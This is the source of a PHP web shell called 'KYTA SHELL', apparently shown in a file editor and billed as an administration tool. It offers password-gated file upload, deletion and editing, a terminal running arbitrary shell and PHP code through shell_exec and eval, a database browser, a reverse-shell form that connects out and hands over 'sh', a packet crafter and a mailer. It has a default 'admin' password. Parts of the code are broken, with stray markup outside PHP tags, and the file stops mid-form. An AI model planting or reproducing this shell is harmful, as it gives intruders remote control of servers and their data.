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✏️ Editing: kyta_shell.php

<?php
/**
 * KYTA SHELL - Ultimate PHP Administration Tool
 * Compatibility: PHP 4.3.3+
 * Features: File Manager, DBMS Explorer, Network Tools, Script Execution
 */

// --- CONFIGURATION ---
$password = 'admin'; // Default password
$auth = true; // Set to false to disable password
$version = '1.0.0';

// --- SESSION & AUTH ---
session_start();
if ($auth && !isset($_SESSION['kyta_auth'])) {
    if (isset($_POST['pass']) && $_POST['pass'] === $password) {
        $_SESSION['kyta_auth'] = true;
    } else {
        renderLogin();
        exit;
    }
}

if (isset($_GET['logout'])) {
    unset($_SESSION['kyta_auth']);
    header('Location: ?');
    exit;
}

// --- CORE UTILITIES ---
function get_cwd() {
    return isset($_GET['dir']) ? $_GET['dir'] : getcwd();
}

function formatSize($bytes) {
    $units = array('B', 'KB', 'MB', 'GB', 'TB');
    for ($i = 0; $bytes >= 1024 && $i < count($units) - 1; $i++) $bytes /= 1024;
    return round($bytes, 2) . ' ' . $units[$i];
}

// --- UI COMPONENTS ---
function renderLogin() {
    ?>
    <!DOCTYPE html>
    <html lang="en">
    <head>
        <meta charset="UTF-8">
        <meta name="viewport" content="width=device-width, initial-scale=1.0">
        <title>KYTA SHELL - LOGIN</title>
        <link href="https://fonts.googleapis.com/css2?family=Orbitron:wght@400;700&family=Inter:wght@300;400;600&display=swap" rel="stylesheet">
        <style>
            :root {
                --bg: #0a0a0a;
                --accent: #00f2ff;
                --text: #e0e0e0;
                --glass: rgba(255, 255, 255, 0.05);
            }
            body {
                background: var(--bg);
                color: var(--text);
                font-family: 'Inter', sans-serif;
                display: flex;
                align-items: center;
                justify-content: center;
                height: 100vh;
                margin: 0;
                overflow: hidden;
            }
            .login-card {
                background: var(--glass);
                backdrop-filter: blur(10px);
                border: 1px solid rgba(255, 255, 255, 0.1);
                padding: 3rem;
                border-radius: 20px;
                box-shadow: 0 0 30px rgba(0, 242, 255, 0.1);
                text-align: center;
                width: 350px;
                animation: fadeIn 0.8s ease-out;
            }
            h1 { font-family: 'Orbitron', sans-serif; color: var(--accent); margin-bottom: 2rem; letter-spacing: 2px; }
            input {
                width: 100%;
                padding: 12px;
                background: rgba(0,0,0,0.3);
                border: 1px solid rgba(0, 242, 255, 0.3);
                border-radius: 8px;
                color: white;
                margin-bottom: 1.5rem;
                outline: none;
                transition: 0.3s;
            }
            input:focus { border-color: var(--accent); box-shadow: 0 0 10px rgba(0, 242, 255, 0.2); }
            button {
                background: linear-gradient(45deg, #00f2ff, #0072ff);
                color: white;
                border: none;
                padding: 12px 30px;
                border-radius: 8px;
                cursor: pointer;
                font-weight: 600;
                text-transform: uppercase;
                transition: 0.3s;
            }
            button:hover { transform: translateY(-2px); box-shadow: 0 5px 15px rgba(0, 242, 255, 0.4); }
            @keyframes fadeIn { from { opacity: 0; transform: translateY(20px); } to { opacity: 1; transform: translateY(0); } }
        </style>
    </head>
    <body>
        <div class="login-card">
            <h1>KYTA SHELL</h1>
            <form method="POST">
                <input type="password" name="pass" placeholder="ACCESS KEY" required autofocus>
                <button type="submit">UNLOCK</button>
            </form>
        </div>
    </body>
    </html>
    <?php
}

function renderFooter() {
    ?>
            </div>
        </div>
    </body>
    </html>
    <?php
}

// --- MAIN ROUTING ---
if (isset($_GET['action'])) {
    handleActions();
}

renderHeader();

$tab = isset($_GET['tab']) ? $_GET['tab'] : 'files';

switch($tab) {
    case 'files':
        renderFileManager();
        break;
    case 'terminal':
        renderTerminal();
        break;
    case 'db':
        renderDB();
        break;
    case 'network':
        renderNetwork();
        break;
    case 'utils':
        renderUtils();
        break;
}

renderFooter();

// --- ACTION HANDLER ---
function handleActions() {
    $action = $_GET['action'];
    $dir = get_cwd();
    
    switch($action) {
        case 'delete':
            if (isset($_GET['file'])) {
                $file = $_GET['file'];
                if (is_dir($file)) {
                    // Recursive delete placeholder
                    @rmdir($file);
                } else {
                    @unlink($file);
                }
            }
            header('Location: ?dir=' . urlencode($dir));
            exit;
            
        case 'download':
            if (isset($_GET['file'])) {
                $file = $_GET['file'];
                if (file_exists($file)) {
                    header('Content-Description: File Transfer');
                    header('Content-Type: application/octet-stream');
                    header('Content-Disposition: attachment; filename="' . basename($file) . '"');
                    header('Expires: 0');
                    header('Cache-Control: must-revalidate');
                    header('Pragma: public');
                    header('Content-Length: ' . filesize($file));
                    readfile($file);
                    exit;
                }
            }
            break;
            
        case 'upload':
            if (isset($_FILES['f'])) {
                $target = $dir . DIRECTORY_SEPARATOR . $_FILES['f']['name'];
                @move_uploaded_file($_FILES['f']['tmp_name'], $target);
            }
            header('Location: ?dir=' . urlencode($dir));
            exit;

case 'save':
            if (isset($_POST['file']) && isset($_POST['content'])) {
                @file_put_contents($_POST['file'], $_POST['content']);
                header('Location: ?tab=files&dir=' . urlencode(dirname($_POST['file'])));
                exit;
            }
            break;
            
        case 'rename':
            if (isset($_GET['file']) && isset($_GET['newname'])) {
                $old = $_GET['file'];
                $new = dirname($old) . DIRECTORY_SEPARATOR . $_GET['newname'];
                @rename($old, $new);
            }
            header('Location: ?dir=' . urlencode($dir));
            exit;

case 'zip':
            if (isset($_GET['file']) && class_exists('ZipArchive')) {
                $file = $_GET['file'];
                $zip = new ZipArchive();
                $zipName = $file . '.zip';
                if ($zip->open($zipName, ZipArchive::CREATE) === TRUE) {
                    if (is_dir($file)) {
                        $files = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($file), RecursiveIteratorIterator::LEAVES_ONLY);
                        foreach ($files as $f) {
                            if (!$f->isDir()) {
                                $filePath = $f->getRealPath();
                                $relativePath = substr($filePath, strlen($file) + 1);
                                $zip->addFile($filePath, $relativePath);
                            }
                        }
                    } else {
                        $zip->addFile($file, basename($file));
                    }
                    $zip->close();
                }
            }
            header('Location: ?dir=' . urlencode($dir));
            exit;
    }
}

// --- MODULES ---

function renderFileManager() {
    $dir = get_cwd();
    $items = scandir($dir);
    
    // Breadcrumbs & Search
    echo '<div style="margin-bottom: 1rem; display: flex; justify-content: space-between; align-items: center; gap: 10px;">';
    echo '<div style="display: flex; align-items: center; gap: 5px; font-size: 0.9rem; overflow: hidden; white-space: nowrap;">';
    $parts = explode(DIRECTORY_SEPARATOR, $dir);
    $path_accum = '';
    foreach($parts as $part) {
        if(empty($part) && !empty($path_accum)) continue;
        $path_accum .= $part . DIRECTORY_SEPARATOR;
        echo '<a href="?dir='.urlencode(rtrim($path_accum, DIRECTORY_SEPARATOR)).'" style="color: var(--accent); text-decoration: none;">'.$part.'</a> / ';
    }
    echo '</div>';
    
    echo '<form method="POST" style="display: flex; gap: 5px;">
            <input type="text" name="search" placeholder="Search regex..." style="background: rgba(255,255,255,0.05); border: 1px solid rgba(255,255,255,0.1); border-radius: 5px; color: #fff; padding: 5px 10px; font-size: 0.8rem; outline: none; width: 150px;">
            <button type="submit" style="background: var(--accent-dim); color: var(--accent); border: 1px solid var(--accent-dim); border-radius: 5px; padding: 5px 10px; cursor: pointer; font-size: 0.8rem;">FIND</button>
          </form>';
    echo '</div>';

if (isset($_POST['search'])) {
        renderSearch($_POST['search']);
        return;
    }

if (isset($_GET['edit'])) {
        renderEditor($_GET['edit']);
        return;
    }

?>
    <div class="glass-card">
        <div style="display: flex; justify-content: space-between; align-items: center; margin-bottom: 1.5rem;">
            <h2 style="margin:0; font-family: 'Orbitron'; font-size: 1.2rem;">FILE EXPLORER</h2>
            <div style="display: flex; gap: 10px;">
                <form method="POST" action="?action=upload&dir=<?php echo urlencode($dir); ?>" enctype="multipart/form-data" style="display: flex; gap: 5px;">
                    <input type="file" name="f" id="file-input" style="display:none;" onchange="this.form.submit()">
                    <button type="button" onclick="document.getElementById('file-input').click()" style="background: var(--accent-dim); color: var(--accent); border: 1px solid var(--accent); padding: 5px 15px; border-radius: 5px; cursor: pointer; font-size: 0.8rem;">UPLOAD</button>
                </form>
                <button onclick="promptNewFolder()" style="background: var(--accent-dim); color: var(--accent); border: 1px solid var(--accent); padding: 5px 15px; border-radius: 5px; cursor: pointer; font-size: 0.8rem;">NEW FOLDER</button>
            </div>
        </div>
        
        <table style="width: 100%; border-collapse: collapse;">
            <thead>
                <tr style="text-align: left; border-bottom: 1px solid rgba(255,255,255,0.1); color: var(--accent); font-size: 0.85rem; text-transform: uppercase;">
                    <th style="padding: 12px;">Name</th>
                    <th>Size</th>
                    <th>Perms</th>
                    <th>Modified</th>
                    <th style="text-align: right; padding-right: 12px;">Actions</th>
                </tr>
            </thead>
            <tbody>
                <?php
                // Sort items: folders first
                usort($items, function($a, $b) use ($dir) {
                    $isDirA = is_dir($dir . DIRECTORY_SEPARATOR . $a);
                    $isDirB = is_dir($dir . DIRECTORY_SEPARATOR . $b);
                    if ($isDirA && !$isDirB) return -1;
                    if (!$isDirA && $isDirB) return 1;
                    return strcasecmp($a, $b);
                });

foreach($items as $item) {
                    if($item == '.') continue;
                    $path = $dir . DIRECTORY_SEPARATOR . $item;
                    $isDir = is_dir($path);
                    ?>
                    <tr style="border-bottom: 1px solid rgba(255,255,255,0.03); transition: 0.2s; font-size: 0.9rem;" onmouseover="this.style.background='rgba(255,255,255,0.02)'" onmouseout="this.style.background='transparent'">
                        <td style="padding: 12px; display: flex; align-items: center; gap: 10px;">
                            <?php if($isDir): ?>
                                <svg width="18" height="18" viewBox="0 0 24 24" fill="#00f2ff"><path d="M22 19a2 2 0 0 1-2 2H4a2 2 0 0 1-2-2V5a2 2 0 0 1 2-2h5l2 3h9a2 2 0 0 1 2 2z"></path></svg>
                                <a href="?dir=<?php echo urlencode($path); ?>" style="color: var(--text-bright); text-decoration: none;"><?php echo $item; ?></a>
                            <?php else: ?>
                                <svg width="18" height="18" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><path d="M13 2H6a2 2 0 0 0-2 2v16a2 2 0 0 0 2 2h12a2 2 0 0 0 2-2V9z"></path><polyline points="13 2 13 9 20 9"></polyline></svg>
                                <span style="color: var(--text);"><?php echo $item; ?></span>
                            <?php endif; ?>
                        </td>
                        <td style="opacity: 0.7;"><?php echo $isDir ? '--' : formatSize(filesize($path)); ?></td>
                        <td style="font-family: 'JetBrains Mono'; font-size: 0.75rem; color: <?php echo is_writable($path) ? 'var(--success)' : 'var(--danger)'; ?>;"><?php echo substr(sprintf('%o', fileperms($path)), -4); ?></td>
                        <td style="font-size: 0.8rem; opacity: 0.5;"><?php echo date("Y-m-d H:i", filemtime($path)); ?></td>
                        <td style="text-align: right; padding-right: 12px;">
                            <div style="display: flex; gap: 8px; justify-content: flex-end;">
                                <?php if(!$isDir): ?>
                                    <a href="?dir=<?php echo urlencode($dir); ?>&edit=<?php echo urlencode($path); ?>" title="Edit" style="color: var(--accent);"><svg width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><path d="M11 4H4a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h14a2 2 0 0 0 2-2v-7"></path><path d="M18.5 2.5a2.121 2.121 0 0 1 3 3L12 15l-4 1 1-4 9.5-9.5z"></path></svg></a>
                                    <a href="?action=download&file=<?php echo urlencode($path); ?>" title="Download" style="color: var(--accent);"><svg width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><path d="M21 15v4a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2v-4"></path><polyline points="7 10 12 15 17 10"></polyline><line x1="12" y1="15" x2="12" y2="3"></line></svg></a>
                                <?php endif; ?>
                                <a href="javascript:void(0)" onclick="renameFile('<?php echo addslashes($path); ?>', '<?php echo addslashes($item); ?>')" title="Rename" style="color: var(--accent);"><svg width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><rect x="3" y="3" width="18" height="18" rx="2" ry="2"></rect><line x1="3" y1="9" x2="21" y2="9"></line><line x1="9" y1="21" x2="9" y2="9"></line></svg></a>
                                <a href="?action=zip&dir=<?php echo urlencode($dir); ?>&file=<?php echo urlencode($path); ?>" title="Zip" style="color: var(--accent);"><svg width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><path d="M21 16V8a2 2 0 0 0-1-1.73l-7-4a2 2 0 0 0-2 0l-7 4A2 2 0 0 0 3 8v8a2 2 0 0 0 1 1.73l7 4a2 2 0 0 0 2 0l7-4A2 2 0 0 0 21 16z"></path><polyline points="3.27 6.96 12 12.01 20.73 6.96"></polyline><line x1="12" y1="22.08" x2="12" y2="12"></line></svg></a>
                                <a href="?action=delete&dir=<?php echo urlencode($dir); ?>&file=<?php echo urlencode($path); ?>" onclick="return confirm('Delete this?')" title="Delete" style="color: var(--danger);"><svg width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><polyline points="3 6 5 6 21 6"></polyline><path d="M19 6v14a2 2 0 0 1-2 2H7a2 2 0 0 1-2-2V6m3 0V4a2 2 0 0 1 2-2h4a2 2 0 0 1 2 2v2"></path><line x1="10" y1="11" x2="10" y2="17"></line><line x1="14" y1="11" x2="14" y2="17"></line></svg></a>
                            </div>
                        </td>
                    </tr>
                    <?php
                }
                ?>
            </tbody>
        </table>
    </div>

function renderEditor($file) {
    $content = file_exists($file) ? htmlspecialchars(file_get_contents($file)) : '';
    ?>
    <div class="glass-card">
        <div style="display: flex; justify-content: space-between; align-items: center; margin-bottom: 1rem;">
            <h2 style="margin:0; font-family: 'Orbitron'; font-size: 1.1rem;">EDITING: <span style="color: var(--accent);"><?php echo basename($file); ?></span></h2>
            <a href="?dir=<?php echo urlencode(dirname($file)); ?>" style="color: var(--text); text-decoration: none; font-size: 0.8rem; opacity: 0.6;">&larr; BACK</a>
        </div>
        <form method="POST" action="?action=save">
            <input type="hidden" name="file" value="<?php echo $file; ?>">
            <textarea name="content" style="width: 100%; height: 500px; background: rgba(0,0,0,0.4); border: 1px solid rgba(255,255,255,0.1); border-radius: 8px; color: var(--text); font-family: 'JetBrains Mono', monospace; padding: 1.5rem; outline: none; line-height: 1.5; resize: vertical;"><?php echo $content; ?></textarea>
            <div style="margin-top: 1rem; display: flex; justify-content: flex-end;">
                <button type="submit" style="background: var(--accent); color: #000; border: none; padding: 10px 30px; border-radius: 8px; font-weight: 600; cursor: pointer;">SAVE CHANGES</button>
            </div>
        </form>
    </div>
    <?php
}

function renderTerminal() {
    $cmd = isset($_POST['cmd']) ? $_POST['cmd'] : '';
    $mode = isset($_POST['mode']) ? $_POST['mode'] : 'shell';
    $output = '';

if ($cmd) {
        if ($mode == 'shell') {
            $output = shell_exec($cmd . ' 2>&1');
        } elseif ($mode == 'php') {
            ob_start();
            eval($cmd);
            $output = ob_get_clean();
        } else {
            // Script runner for other languages
            $exts = array('python' => 'py', 'perl' => 'pl', 'ruby' => 'rb', 'node' => 'js');
            $ext = isset($exts[$mode]) ? $exts[$mode] : 'txt';
            $tmp = tempnam(sys_get_temp_dir(), 'kyta_') . '.' . $ext;
            file_put_contents($tmp, $cmd);
            $output = shell_exec($mode . " " . $tmp . " 2>&1");
            unlink($tmp);
        }
    }

<div id="terminal-out" style="background: #000; border: 1px solid rgba(255,255,255,0.1); border-radius: 10px; padding: 1.5rem; height: 400px; overflow-y: auto; font-family: 'JetBrains Mono', monospace; font-size: 0.85rem; color: #00ff00; line-height: 1.4; white-space: pre-wrap; margin-bottom: 1.5rem; box-shadow: inset 0 0 15px rgba(0,255,0,0.05);">
            <?php if ($cmd): ?>
                <div style="color: var(--accent); margin-bottom: 10px;">$ <?php echo htmlspecialchars($cmd); ?></div>
                <?php echo htmlspecialchars($output); ?>
            <?php else: ?>
                <div style="color: #444;">// System ready. Awaiting command...</div>
            <?php endif; ?>
        </div>

<form id="term-form" method="POST">
            <div style="display: flex; gap: 10px;">
                <input type="text" name="cmd" placeholder="Enter command or script code..." style="flex: 1; background: rgba(255,255,255,0.03); border: 1px solid rgba(255,255,255,0.1); border-radius: 8px; color: #fff; padding: 12px 15px; outline: none; font-family: 'JetBrains Mono'; transition: 0.3s;" autofocus>
                <button type="submit" style="background: var(--accent); color: #000; border: none; padding: 0 25px; border-radius: 8px; font-weight: 700; cursor: pointer; text-transform: uppercase;">EXECUTE</button>
            </div>
        </form>
    </div>
    <script>
        var objDiv = document.getElementById("terminal-out");
        objDiv.scrollTop = objDiv.scrollHeight;
    </script>
    <?php
}
function renderDB() {
    $db_host = isset($_POST['db_host']) ? $_POST['db_host'] : (isset($_SESSION['db_host']) ? $_SESSION['db_host'] : 'localhost');
    $db_user = isset($_POST['db_user']) ? $_POST['db_user'] : (isset($_SESSION['db_user']) ? $_SESSION['db_user'] : 'root');
    $db_pass = isset($_POST['db_pass']) ? $_POST['db_pass'] : (isset($_SESSION['db_pass']) ? $_SESSION['db_pass'] : '');
    $db_name = isset($_POST['db_name']) ? $_POST['db_name'] : (isset($_SESSION['db_name']) ? $_SESSION['db_name'] : '');
    $db_type = isset($_POST['db_type']) ? $_POST['db_type'] : (isset($_SESSION['db_type']) ? $_SESSION['db_type'] : 'mysql');
    
    $conn = null;
    $error = '';
    
    if (isset($_POST['connect']) || isset($_SESSION['db_connected'])) {
        try {
            $dsn = '';
            if ($db_type == 'mysql') $dsn = "mysql:host=$db_host;dbname=$db_name";
            elseif ($db_type == 'pgsql') $dsn = "pgsql:host=$db_host;dbname=$db_name";
            elseif ($db_type == 'sqlite') $dsn = "sqlite:$db_name";
            elseif ($db_type == 'odbc') $dsn = "odbc:DSN=$db_host";
            
            $conn = new PDO($dsn, $db_user, $db_pass);
            $conn->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
            $_SESSION['db_connected'] = true;
            $_SESSION['db_host'] = $db_host;
            $_SESSION['db_user'] = $db_user;
            $_SESSION['db_pass'] = $db_pass;
            $_SESSION['db_name'] = $db_name;
            $_SESSION['db_type'] = $db_type;
        } catch (PDOException $e) {
            $error = $e->getMessage();
            unset($_SESSION['db_connected']);
        }
    }

if (isset($_GET['db_logout'])) {
        unset($_SESSION['db_connected']);
        header('Location: ?tab=db');
        exit;
    }

?>
    <div class="glass-card">
        <div style="display: flex; justify-content: space-between; align-items: center; margin-bottom: 1.5rem;">
            <h2 style="margin:0; font-family: 'Orbitron'; font-size: 1.2rem;">DATABASE EXPLORER</h2>
            <?php if ($conn): ?>
                <a href="?tab=db&db_logout=1" style="color: var(--danger); text-decoration: none; font-size: 0.8rem;">DISCONNECT</a>
            <?php endif; ?>
        </div>

<?php if (!$conn): ?>
            <form method="POST" style="display: grid; grid-template-columns: 1fr 1fr; gap: 15px;">
                <div class="form-group">
                    <label style="display:block; margin-bottom: 5px; font-size: 0.8rem; opacity: 0.7;">DBMS TYPE</label>
                    <select name="db_type" style="width:100%; background: rgba(0,0,0,0.3); border: 1px solid rgba(255,255,255,0.1); border-radius: 8px; color: #fff; padding: 10px;">
                        <option value="mysql">MySQL / MariaDB</option>
                        <option value="pgsql">PostgreSQL</option>
                        <option value="sqlite">SQLite</option>
                        <option value="odbc">ODBC (MSSQL/Oracle)</option>
                    </select>
                </div>
                <div class="form-group">
                    <label style="display:block; margin-bottom: 5px; font-size: 0.8rem; opacity: 0.7;">HOST</label>
                    <input type="text" name="db_host" value="<?php echo htmlspecialchars($db_host); ?>" style="width:100%; background: rgba(0,0,0,0.3); border: 1px solid rgba(255,255,255,0.1); border-radius: 8px; color: #fff; padding: 10px;">
                </div>
                <div class="form-group">
                    <label style="display:block; margin-bottom: 5px; font-size: 0.8rem; opacity: 0.7;">USER</label>
                    <input type="text" name="db_user" value="<?php echo htmlspecialchars($db_user); ?>" style="width:100%; background: rgba(0,0,0,0.3); border: 1px solid rgba(255,255,255,0.1); border-radius: 8px; color: #fff; padding: 10px;">
                </div>
                <div class="form-group">
                    <label style="display:block; margin-bottom: 5px; font-size: 0.8rem; opacity: 0.7;">PASSWORD</label>
                    <input type="password" name="db_pass" value="<?php echo htmlspecialchars($db_pass); ?>" style="width:100%; background: rgba(0,0,0,0.3); border: 1px solid rgba(255,255,255,0.1); border-radius: 8px; color: #fff; padding: 10px;">
                </div>
                <div class="form-group" style="grid-column: span 2;">
                    <label style="display:block; margin-bottom: 5px; font-size: 0.8rem; opacity: 0.7;">DATABASE / FILE PATH</label>
                    <input type="text" name="db_name" value="<?php echo htmlspecialchars($db_name); ?>" style="width:100%; background: rgba(0,0,0,0.3); border: 1px solid rgba(255,255,255,0.1); border-radius: 8px; color: #fff; padding: 10px;">
                </div>
                <div style="grid-column: span 2; margin-top: 10px;">
                    <button type="submit" name="connect" style="width:100%; background: var(--accent); color: #000; border: none; padding: 12px; border-radius: 8px; font-weight: 700; cursor: pointer;">CONNECT</button>
                </div>
            </form>
            <?php if ($error): ?>
                <div style="margin-top: 20px; color: var(--danger); background: rgba(255,0,0,0.1); padding: 15px; border-radius: 8px; border: 1px solid rgba(255,0,0,0.2); font-family: 'JetBrains Mono'; font-size: 0.8rem;">
                    <?php echo $error; ?>
                </div>
            <?php endif; ?>
        <?php else: ?>
            <div style="display: flex; gap: 20px;">
                <div style="width: 250px; background: rgba(0,0,0,0.2); padding: 15px; border-radius: 10px; border: 1px solid rgba(255,255,255,0.05); height: 500px; overflow-y: auto;">
                    <h3 style="margin-top:0; font-size: 0.9rem; opacity: 0.6; text-transform: uppercase;">Tables</h3>
                    <?php
                    $query = $db_type == 'pgsql' ? "SELECT tablename FROM pg_catalog.pg_tables WHERE schemaname != 'information_schema' AND schemaname != 'pg_catalog'" : ($db_type == 'sqlite' ? "SELECT name FROM sqlite_master WHERE type='table'" : "SHOW TABLES");
                    try {
                        $stmt = $conn->query($query);
                        while ($row = $stmt->fetch(PDO::FETCH_NUM)) {
                            $tbl = $row[0];
                            echo '<a href="?tab=db&table=' . urlencode($tbl) . '" style="display:block; padding: 8px; color: var(--text); text-decoration: none; font-size: 0.85rem; border-radius: 5px; transition: 0.2s;" onmouseover="this.style.background=\'rgba(0,242,255,0.1)\'" onmouseout="this.style.background=\'transparent\'">'. $tbl .'</a>';
                        }
                    } catch (Exception $e) { echo "Error: " . $e->getMessage(); }
                    ?>
                </div>
                <div style="flex: 1;">
                    <form method="POST">
                        <textarea name="sql" placeholder="Enter SQL query..." style="width: 100%; height: 100px; background: rgba(0,0,0,0.3); border: 1px solid rgba(255,255,255,0.1); border-radius: 8px; color: #fff; padding: 15px; font-family: 'JetBrains Mono'; outline: none; margin-bottom: 10px; resize: none;"><?php echo isset($_POST['sql']) ? htmlspecialchars($_POST['sql']) : (isset($_GET['table']) ? "SELECT * FROM " . $_GET['table'] . " LIMIT 100" : ""); ?></textarea>
                        <button type="submit" style="background: var(--accent); color: #000; border: none; padding: 10px 25px; border-radius: 8px; font-weight: 700; cursor: pointer;">RUN QUERY</button>
                    </form>
                    
                    <div style="margin-top: 20px; overflow-x: auto;">
                        <?php
                        if (isset($_POST['sql']) || isset($_GET['table'])) {
                            $sql = isset($_POST['sql']) ? $_POST['sql'] : "SELECT * FROM " . $_GET['table'] . " LIMIT 100";
                            try {
                                $stmt = $conn->query($sql);
                                if ($stmt) {
                                    $rows = $stmt->fetchAll(PDO::FETCH_ASSOC);
                                    if (count($rows) > 0) {
                                        echo '<table style="width: 100%; border-collapse: collapse; font-size: 0.85rem;">';
                                        echo '<thead><tr style="background: rgba(255,255,255,0.05); color: var(--accent); text-align: left;">';
                                        foreach (array_keys($rows[0]) as $col) echo '<th style="padding: 10px; border: 1px solid rgba(255,255,255,0.05);">'.htmlspecialchars($col).'</th>';
                                        echo '</tr></thead><tbody>';
                                        foreach ($rows as $row) {
                                            echo '<tr style="border-bottom: 1px solid rgba(255,255,255,0.02);">';
                                            foreach ($row as $val) echo '<td style="padding: 10px; border: 1px solid rgba(255,255,255,0.05); white-space: nowrap; max-width: 200px; overflow: hidden; text-overflow: ellipsis;">'.htmlspecialchars($val).'</td>';
                                            echo '</tr>';
                                        }
                                        echo '</tbody></table>';
                                    } else { echo '<div style="opacity: 0.5; padding: 20px;">No results found or command executed successfully.</div>'; }
                                }
                            } catch (PDOException $e) {
                                echo '<div style="color: var(--danger); font-family: \'JetBrains Mono\'; font-size: 0.8rem; padding: 20px;">Error: ' . $e->getMessage() . '</div>';
                            }
                        }
                        ?>
                    </div>
                </div>
            </div>
        <?php endif; ?>
    </div>
    <?php
}
function renderNetwork() {
    $action = isset($_POST['net_action']) ? $_POST['net_action'] : '';
    $ip = isset($_POST['ip']) ? $_POST['ip'] : '127.0.0.1';
    $port = isset($_POST['port']) ? $_POST['port'] : '4444';
    $msg = '';

if ($action == 'revshell') {
        $msg = "Connecting to $ip:$port...";
        // Standard PHP Reverse Shell logic (Simplified for space)
        $sock = @fsockopen($ip, $port);
        if ($sock) {
            $msg .= " Connected!";
            @proc_open("sh", array(0=>$sock, 1=>$sock, 2=>$sock), $pipes);
        } else {
            $msg .= " Failed to connect.";
        }
    }

?>
    <div class="glass-card">
        <h2 style="margin-top:0; font-family: 'Orbitron'; font-size: 1.2rem;">NETWORK TOOLS</h2>
        
        <div style="display: grid; grid-template-columns: 1fr 1fr; gap: 20px;">
            <div style="background: rgba(0,0,0,0.2); padding: 1.5rem; border-radius: 10px; border: 1px solid rgba(255,255,255,0.05);">
                <h3 style="margin-top:0; font-size: 1rem; color: var(--accent);">REVERSE SHELL</h3>
                <form method="POST">
                    <input type="hidden" name="net_action" value="revshell">
                    <input type="text" name="ip" value="<?php echo $ip; ?>" placeholder="IP Address" style="width:100%; margin-bottom: 10px; background: rgba(0,0,0,0.3); border: 1px solid rgba(255,255,255,0.1); border-radius: 8px; color: #fff; padding: 10px;">
                    <input type="text" name="port" value="<?php echo $port; ?>" placeholder="Port" style="width:100%; margin-bottom: 15px; background: rgba(0,0,0,0.3); border: 1px solid rgba(255,255,255,0.1); border-radius: 8px; color: #fff; padding: 10px;">
                    <button type="submit" style="width:100%; background: var(--accent); color: #000; border: none; padding: 10px; border-radius: 8px; font-weight: 700; cursor: pointer;">CONNECT</button>
                </form>
            </div>
            
            <div style="background: rgba(0,0,0,0.2); padding: 1.5rem; border-radius: 10px; border: 1px solid rgba(255,255,255,0.05);">
                <h3 style="margin-top:0; font-size: 1rem; color: var(--accent);">PACKET CRAFTER</h3>
                <form method="POST">
                    <input type="hidden" name="net_action" value="craft">
                    <div style="display: flex; gap: 5px; margin-bottom: 10px;">
                        <input type="text" name="target" placeholder="Target Host" style="flex:1; background: rgba(0,0,0,0.3); border: 1px solid rgba(255,255,255,0.1); border-radius: 8px; color: #fff; padding: 10px;">
                        <input type="text" name="tport" placeholder="Port" style="width: 80px; background: rgba(0,0,0,0.3); border: 1px solid rgba(255,255,255,0.1); border-radius: 8px; color: #fff; padding: 10px;">
                    </div>
                    <textarea name="data" placeholder="Raw Data (Hex or Plain)" style="width:100%; height: 60px; background: rgba(0,0,0,0.3); border: 1px solid rgba(255,255,255,0.1); border-radius: 8px; color: #fff; padding: 10px; margin-bottom: 10px; resize: none;"></textarea>
                    <button type="submit" style="width:100%; background: var(--accent-dim); color: var(--accent); border: 1px solid var(--accent); padding: 10px; border-radius: 8px; font-weight: 700; cursor: pointer;">SEND PACKET</button>
                </form>
            </div>
        </div>
        
        <?php if ($msg): ?>
            <div style="margin-top: 20px; font-family: 'JetBrains Mono'; font-size: 0.85rem; color: var(--accent); background: rgba(0,242,255,0.05); padding: 15px; border-radius: 8px; border: 1px solid var(--accent-dim);">
                <?php echo $msg; ?>
            </div>
        <?php endif; ?>
    </div>
    <?php
}

function renderUtils() {
    $u_tab = isset($_GET['u']) ? $_GET['u'] : 'proc';
    ?>
    <div style="display: flex; gap: 10px; margin-bottom: 1.5rem;">
        <a href="?tab=utils&u=proc" style="padding: 8px 20px; border-radius: 8px; text-decoration: none; font-size: 0.85rem; <?php echo $u_tab == 'proc' ? 'background: var(--accent); color: #000;' : 'color: var(--text); border: 1px solid rgba(255,255,255,0.1);'; ?>">PROCESSES</a>
        <a href="?tab=utils&u=mail" style="padding: 8px 20px; border-radius: 8px; text-decoration: none; font-size: 0.85rem; <?php echo $u_tab == 'mail' ? 'background: var(--accent); color: #000;' : 'color: var(--text); border: 1px solid rgba(255,255,255,0.1);'; ?>">MAILER</a>
        <a href="?tab=utils&u=str" style="padding: 8px 20px; border-radius: 8px; text-decoration: none; font-size: 0.85rem; <?php echo $u_tab == 'str' ? 'background: var(--accent); color: #000;' : 'color: var(--text); border: 1px solid rgba(255,255,255,0.1);'; ?>">STRINGS</a>
    </div>

<div class="glass-card">
        <?php
        if ($u_tab == 'proc') {
            echo '<h2 style="margin-top:0; font-family: \'Orbitron\'; font-size: 1.1rem;">PROCESS LIST</h2>';
            $out = strtoupper(substr(PHP_OS, 0, 3)) === 'WIN' ? shell_exec('tasklist') : shell_exec('ps auxf');
            echo '<pre style="font-family: \'JetBrains Mono\'; font-size: 0.75rem; color: #aaa; background: rgba(0,0,0,0.3); padding: 1.5rem; border-radius: 10px; overflow-x: auto;">'.htmlspecialchars($out).'</pre>';
        } elseif ($u_tab == 'mail') {
            echo '<h2 style="margin-top:0; font-family: \'Orbitron\'; font-size: 1.1rem;">SEND MAIL</h2>';
            ?>
            <form method="POST" style="display: grid; grid-template-columns: 1fr 1fr; gap: 15px;">
                <input type="text" name="to" placeholder="To" style="width:100%; background: rgba(0,0,0,0.3); border: 1px solid rgba(255,255,255,0.1); border-radius: 8px; color: #fff; padding: 10px;">
                <input type="text" name="sub" placeholder="Subject" style="width:100%; background: rgba(0,0,0,0.3); border: 1px solid rgba(255,255,255,0.1); border-radius: 8px; color: #fff; padding: 10px;">
                <textarea name="body" placeholder="Message" style="grid-column: span 2; height: 100px; background: rgba(0,0,0,0.3); border: 1px solid rgba(255,255,255,0.1); border-radius: 8px; color: #fff; padding: 15px; resize: none;"></textarea>
